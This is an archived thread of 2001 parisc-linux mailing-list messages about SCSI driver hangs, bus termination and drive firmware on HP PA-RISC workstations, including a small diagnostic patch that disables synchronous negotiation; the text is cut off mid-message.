Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 09:52:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id E562F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 09:52:03 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sR4y-0007NJ-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 17:52:00 +0200
Original-Received: (qmail 6985 invoked from network); 13 Oct 2001 15:51:58 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 15:51:58 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sR4x-0001CJ-00; Sat, 13 Oct 2001 17:51:59 +0200
Content-Disposition: inline
In-Reply-To: <20011013155903.A22395@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sR4y-0007NJ-00*pSe/8XLs9w6* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12634

--x4pBfXISqBoDm8sr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

My apologies -- I misunderstood the inner workings of make oldconfig. I
see now that you are right, as always. :-)

Cheerio,

Albert

On Sat, 13 Oct 2001, Matthew Wilcox wrote:

> On Sat, Oct 13, 2001 at 04:42:27PM +0200, Helge Deller wrote:
> > You should prefer "make menuconfig". That way you won't
> > miss such things.
>=20
> Um?  make oldconfig only prompts you for new options.  it's harder to
> miss things with oldconfig than menuconfig, IMO.

--x4pBfXISqBoDm8sr
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7yGMeDg+hOeRZtkMRAjrjAJ0VElXXCRizv4a8TRE4YxatH8ICGACdGvta
BmfgkIV7UjHrJsFxqSxHr5A=
=BkvP
-----END PGP SIGNATURE-----

--x4pBfXISqBoDm8sr--




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sat, 13 Oct 2001 19:10:35 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3BC891AB.84075276@freebel.net>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be> <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk> <1002908535.3bc72b77e40fd@webmail.tiscalinet.be> <20011012184953.F25868@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620622 27953 80.91.229.3 (22 Nov 2014 01:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:42 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 13:04:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id E78E8482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 13:04:28 -0600 (MDT)
Original-Received: from [213.151.45.197] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 15sU59-0002P2-00; Sat, 13 Oct 2001 21:04:23 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-0.2.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12635

Matthew Wilcox wrote:
> 
> On Fri, Oct 12, 2001 at 07:42:15PM +0200, joel.soete@freebel.net wrote:
> > Oct 12 17:22:34 palinux2 kernel: scsi0: (6:0) Synchronous at offset 8, period 100ns
> > Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants to abort
> > command
> > Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> > Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants device reset
> > Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> > Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants BUS reset,
> > cmd 1006e800
> > Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> > Oct 12 17:22:34 palinux2 kernel: scsi0: Bus Reset detected, executing command
> > 1006e800, slot 00010520, dsp 00070528[0528]
> > Oct 12 17:22:34 palinux2 kernel:  failing command because of reset, slot
> > 00010520, cmnd 1006e800
> 
> Last time I saw output like this was on a machine whose disc was making
> very painful noises as it attempted to spin up.  Could this be the case
> for your machine?

No, neither the internal (scsi0 (6:0)) neither the external (scsi (3:0)
my hppa linux disk) do not made any noise.
But you have right: it is a long time ago that I boot on this disk (on
which I install the old mklinux for the curiosity), it may be failed
now? I will test it and let you inform.

Joel




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel panic with -pa48
Date: Sat, 13 Oct 2001 19:18:43 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <3BC89393.E53EA571@freebel.net>
References: <200110121846.MAA08138@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620622 27956 80.91.229.3 (22 Nov 2014 01:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 13:12:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 481404830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 13:12:34 -0600 (MDT)
Original-Received: from [213.151.45.197] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 15sUD0-0002bf-00; Sat, 13 Oct 2001 21:12:30 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-0.2.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12636

Grant Grundler wrote:
> 
> joel.soete@freebel.net wrote:
> > Hi Grant,
> >
> > I met following problem with pa48 (on a 712/80):
> 
> You might try -pa49.
> 712/80 doesn't have eisa either.
> But I don't expect any devices on 712 to care which HBA they live under
> since they are all "GSC" (mostly under LASI) devices.
> 
> grant

Grant,

Thanks a lot.
May be have you also read my email:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014108.html

and the strange results I encountered with this -pa49

Thanks again,
	Joel




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Followup: 735/125 hangs...
Date: Sat, 13 Oct 2001 12:12:13 -0700 (PDT)
Lines: 76
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0110131209250.1873-100000@ibanez.csuder.net>
References: <20011013114359.A1681@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620622 27958 80.91.229.3 (22 Nov 2014 01:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 13:13:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFD644830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 13:13:24 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9DJDCk28571;
	Sat, 13 Oct 2001 12:13:12 -0700 (PDT)
Original-Received: from localhost (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABD61605;
	Sat, 13 Oct 2001 12:12:37 -0700 (PDT)
X-Sender: csuder@ibanez.csuder.net
In-Reply-To: <20011013114359.A1681@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12637


Thanks, Albert !

With the boot options I was able to get the base install from an NFS
mounted source (CD still did bail on me close to the finish line...), I
have now yesterdays snapshot with the new SCSI driver running which
appears fine. 

	Christian


On Sat, 13 Oct 2001, Albert Strasheim wrote:

> Hello,
> 
> My 720/50 had similiar problems. I don't know what kind of SCSI chipset
> you have, but I needed to add the following kernel command line
> parameter to get my SCSI disks to work properly:
> 
> sim700=noneg:0xff,nodisc:0xff or sim700=nodisc:0xff
> 
> This more or less solved my problems. Writing the superblock info still
> took some time (think 10 minutes), but it got it done. :-)
> 
> In a message from Richard Hirst a few days ago, when he checked in a new
> driver for the 53c700 and 53c710 chips:
> 
> The main improvements in this driver are sync transfers (where the scsi
> chip allows it) and tagged commands.  Also disconenct/reselect works
> properly, so there is no longer any need to boot with sim700=nodisc:0xff
> (or similar).
> 
> So I guess if you compile the latest kernel, and make a new debian
> bootfloppies lifimage to boot from, you should be fine. Alternatively,
> the options above might also fix your problems with the LOOP_CTL thingy.
> 
> When in doubt, do a network install. :-)
> 
> Regards,
> 
> Albert
> 
> On Fri, 12 Oct 2001, Christian Suder wrote:
> 
> > 
> > FWIW, 
> > 
> > I repartitioned the HD, from boot-swap-root to boot-root-swap. Formatting
> > the filesystem went until after the message about tune2fs
> > appears. Powercycled and did not format again but selected 'use existing
> > fs'. Hangs with : 'ioctl: LOOP_CLR_FD: No such device or address' when
> > installing the system image. 
> > 
> > Tried the same excercise again and got lots of 
> > 
> >  - block = 4244379656, count = 1
> > EXT2-fs error (device sd(8,2)): ext2_free_blocks: Freeing blocks not in
> > datazone - block = 4269604550, count = 1
> > 
> > Hmmm.... saw the same when the C110 had problems. 
> > 
> > Used the same CD on a 712/80 with no problems at all !
> > 
> > 	Christian
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sat, 13 Oct 2001 15:51:34 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <200110131951.f9DJpZT01701@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-7423799680"
X-Trace: ger.gmane.org 1416620623 27960 80.91.229.3 (22 Nov 2014 01:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:43 +0000 (UTC)
Cc: joel.soete@freebel.net, willy@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 13:51:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (tnt01p1-128.logicsouth.com [208.150.160.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA4E14830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 13:51:52 -0600 (MDT)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.2/8.8.7) with ESMTP id f9DJpZT01701;
	Sat, 13 Oct 2001 15:51:35 -0400
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
Xref: news.gmane.org gmane.linux.ports.parisc:12638

This is a multipart MIME message.

--==_Exmh_-7423799680
Content-Type: text/plain; charset=us-ascii

> Just co -pa49 and boot again but strange behaviour (as with pa45). Here
> the SCSI kernel messages:

I suspect this is probably a cabling/termination problem.  The new driver does 
fast scsi via synchronous negotiation which is much less tolerant of harware 
setup than the old asynchronous SCSI.  You can test this theory out by turning 
off async negotiation in the driver: by recompiling, I'm afraid, I haven't 
made it a config option.

If you apply the attached patch it will suppress the synchronous negotiation.  
If the driver boots your machine with no issues then it's a safe bet you have 
a cabling or termination problem.

Your next problem will be the C3325A drive:  I have one of these and it seems 
to drop tagged commands under heavy load (which annoys the SCSI error handler 
no end).  I was going to ask for it to be added to the SCSI mid-layer black 
list as being unable to handle tags, but I haven't got around to it yet.

James 



--==_Exmh_-7423799680
Content-Type: text/plain ; name="53c700-no-fast.diff"; charset=us-ascii
Content-Description: 53c700-no-fast.diff
Content-Disposition: attachment; filename="53c700-no-fast.diff"

Index: drivers/scsi/53c700.c
===================================================================
RCS file: /home/jejb/CVSROOT/linux/2.4/drivers/scsi/53c700.c,v
retrieving revision 1.1.1.3.6.4
diff -u -r1.1.1.3.6.4 53c700.c
--- drivers/scsi/53c700.c	2001/09/30 15:04:17	1.1.1.3.6.4
+++ drivers/scsi/53c700.c	2001/10/13 19:46:33
@@ -720,6 +720,7 @@
 		NCR_700_writeb(BTB_TIMER_DISABLE, host, CTEST0_REG);
 		NCR_700_writeb(FULL_ARBITRATION | ENABLE_PARITY | PARITY
 			       | AUTO_ATN, host, SCNTL0_REG);
+		hostdata->fast = 0;
 	} else {
 		NCR_700_writeb(BURST_LENGTH_8 | hostdata->dmode_extra,
 			       host, DMODE_700_REG);

--==_Exmh_-7423799680--






From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Sat, 13 Oct 2001 23:32:16 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20011013233216.A24926@zaphod.halden.lillfab.se>
References: <20011008230949.U11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620623 27961 80.91.229.3 (22 Nov 2014 01:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 15:32:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maile.telia.com (maile.telia.com [194.22.190.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D62E482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 15:32:29 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by maile.telia.com (8.11.6/8.11.6) with ESMTP id f9DLWO224461;
	Sat, 13 Oct 2001 23:32:24 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t2o70p68.telia.com [62.20.148.188])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9DLWNf01048;
	Sat, 13 Oct 2001 23:32:23 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA26368;
	Sat, 13 Oct 2001 23:32:16 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <20011008230949.U11105@linuxcare.com>; from rhirst@linuxcare.com on Tue, Oct 09, 2001 at 00:09:49 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 30
Xref: news.gmane.org gmane.linux.ports.parisc:12639

Hi, Richard.

On 2001.10.09 00:09 Richard Hirst wrote:
>   I've just added a new scsi driver for 53c700 and 53c710 chips to cvs.

I have some problems with this driver on my 715-50/old installed from the 
0.92 cd.

If I boot multi-user the boot process will stop/hang somewhere between the
"ENtering run level 2" message and "Starting cron"-message. The cont-message
is pretty late in the boot process, infact it is the last message to be printed
before the getty's are supposed to be lanuched.

On the next reboot fsck will consider the filesystem broken enought to put me
in single user mode.

If I boot single-user I can get to the prompt and do some reading and writing 
to the disk,  but if I do some heavy disk I/O (like running bonnie or e2fsck 
on a dirty file system), the system will lock-up.

The lockup I experience is not complete, the box still replies to pings and
anything I type at the (serial) console gets echoed, but I get nowhere with
ctrl-C or wha-tever. 

The old driver still works even with the never kernels.

/Daniel

-- 




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sat, 13 Oct 2001 16:12:09 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200110132212.QAA19397@puffin.external.hp.com>
References: <James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620623 27962 80.91.229.3 (22 Nov 2014 01:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 16:15:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE386482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 16:15:25 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA19397;
	Sat, 13 Oct 2001 16:12:09 -0600
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Sat, 13 Oct 2001 15:51:34 EDT." <200110131951.f9DJpZT01701@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:12640

James Bottomley wrote:
> Your next problem will be the C3325A drive:  I have one of these and it seems
> to drop tagged commands under heavy load (which annoys the SCSI error handler
> no end).  I was going to ask for it to be added to the SCSI mid-layer black 
> list as being unable to handle tags, but I haven't got around to it yet.

Many of the older drives for workstations have issues like this.
Workstation folks couldn't wait for the server folks to finish
testing and issues like this weren't found. That stopped being true
about 5 years ago when 1 and 2 GB (5400rpm) drives came on the market.

In general, drives smaller than 1GB are not reprogammable
and thus can't be upgraded. I don't know if C3325A is upgradeable.
If it is, the firmware for it *might* be on the same ftp site
as platform firmware - see the www.parisc-linux.org FAQ for the URL.
And not sure if there is a utility for linux to download
SCSI device firmware.

grant




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sun, 14 Oct 2001 09:28:54 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <200110141428.f9EESss01949@localhost.localdomain>
References: <grundler@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620624 27967 80.91.229.3 (22 Nov 2014 01:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 14 08:29:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (adsl-64-109-89-110.chicago.il.ameritech.net [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43E8C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Oct 2001 08:29:29 -0600 (MDT)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.2/8.8.7) with ESMTP id f9EESss01949;
	Sun, 14 Oct 2001 09:28:54 -0500
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Grant Grundler <grundler@puffin.external.hp.com> 
   of "Sat, 13 Oct 2001 16:12:09 MDT." <200110132212.QAA19397@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12641

grundler@puffin.external.hp.com said:
> In general, drives smaller than 1GB are not reprogammable and thus
> can't be upgraded. I don't know if C3325A is upgradeable. If it is,
> the firmware for it *might* be on the same ftp site as platform
> firmware - see the www.parisc-linux.org FAQ for the URL. And not sure
> if there is a utility for linux to download SCSI device firmware. 

I believe the fw is upgradeable (if you can find it, it's not on the ftp 
site).  Although, for a SCSI device driver writer, having misbehaving drives 
around to test with can be useful...it's a lot easier than trying to do 
sofware error injection.

Perhaps you could answer some configuration questions I have (which is why I 
was thinking the reported errors were termination or cabling related).  
Richard Hirst got LinuxCare to send me a 712/60 and a 715/50.  Both of these 
appear to have a SCSI bus running through the motherbord to a 50pin ribbon 
cable on one end and an external D50 SCSI-2 connector on the case.  There 
appears to be no termination at all on the motherboard, is that correct?

The 715/50 has slots for 3 SCSI drives along a ribbon cable which is 
terminated at one end.  However, I don't believe the other end would be 
terminated unless I put a D50 SE terminator on the external connector.   Was 
this the way they were usually delivered?

The 712/60 is even stranger: It has one SCSI drive housing and a short ribbon 
cable with no termination.  It looks like the correct configuration for this 
one would be to activate the drive's termination and also put a D50 terminator 
on the external connector?  Unfortunately, the Micropolis drive it came with 
expired in a cloud of smoke when I turned it on.  However, I was able to 
determine that the Micropolis was unterminated, so the internal bus was 
completely unterminated.

What I'm hoping is that they didn't ship this way, they just evolved into 
these anomalous configurations over time as bits fell off and drives were 
replaced.  The problem is that the new lasi700 driver is going to drive the 
SCSI bus (at least for the 53c710 based lasi subsystems) at about twice times 
the speed of the old one and with high REQ/ACK offsets, so what were marginal 
configurations may suddenly become non-functional ones.

At the very least, I suppose I need to add sync and tag disable options to the 
driver.

James






From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sun, 14 Oct 2001 17:42:53 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.40.0110141741120.530-100000@pluto.fachschaften.tu-muenchen.de>
References: <200110141428.f9EESss01949@localhost.localdomain>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620624 27968 80.91.229.3 (22 Nov 2014 01:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 14 09:42:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id F2501482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Oct 2001 09:42:49 -0600 (MDT)
Original-Received: (qmail 6843 invoked from network); 14 Oct 2001 15:42:41 -0000
Original-Received: from pluto.fachschaften.tu-muenchen.de (HELO pluto) (129.187.176.25)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 14 Oct 2001 15:42:41 -0000
Original-Sender: aderesch@pluto.fachschaften.tu-muenchen.de
In-Reply-To: <200110141428.f9EESss01949@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12642

> The 712/60 is even stranger: It has one SCSI drive housing and a short ribbon
> cable with no termination.  It looks like the correct configuration for this
> one would be to activate the drive's termination and also put a D50 terminator
> on the external connector?  Unfortunately, the Micropolis drive it came with
> expired in a cloud of smoke when I turned it on.  However, I was able to
> determine that the Micropolis was unterminated, so the internal bus was
> completely unterminated.
I don't know about 715, but 712 is supposed to be terminated onboard =>
internal drive not terminated, external branch only terminated when drive
present. (That's what the docs say, too)

ad





From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Sun, 14 Oct 2001 10:40:01 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <200110141640.KAA27919@puffin.external.hp.com>
References: <James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620624 27971 80.91.229.3 (22 Nov 2014 01:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:44 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org, grundler@puffin.external.hp.com
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 14 10:43:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5673E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Oct 2001 10:43:17 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA27919;
	Sun, 14 Oct 2001 10:40:01 -0600
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Sun, 14 Oct 2001 09:28:54 CDT." <200110141428.f9EESss01949@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:12643

James Bottomley wrote:
> Both of these appear to have a SCSI bus running through the motherbord
> to a 50pin ribbon cable on one end and an external D50 SCSI-2 connector
> on the case.  There appears to be no termination at all on the motherboard,
> is that correct?

AFAIK, yes - that's correct. The 50-pin (narrow SE SCSI) should be terminated
on the external 50-pin high-density connecter. The 50-in ribbon cable has a
terminator at the "internal" end. It's all one bus.

> The 715/50 has slots for 3 SCSI drives along a ribbon cable which is 
> terminated at one end.

It's intended for 2 HDs and a CD-ROM or SCSI FLoppy.

>  However, I don't believe the other end would be 
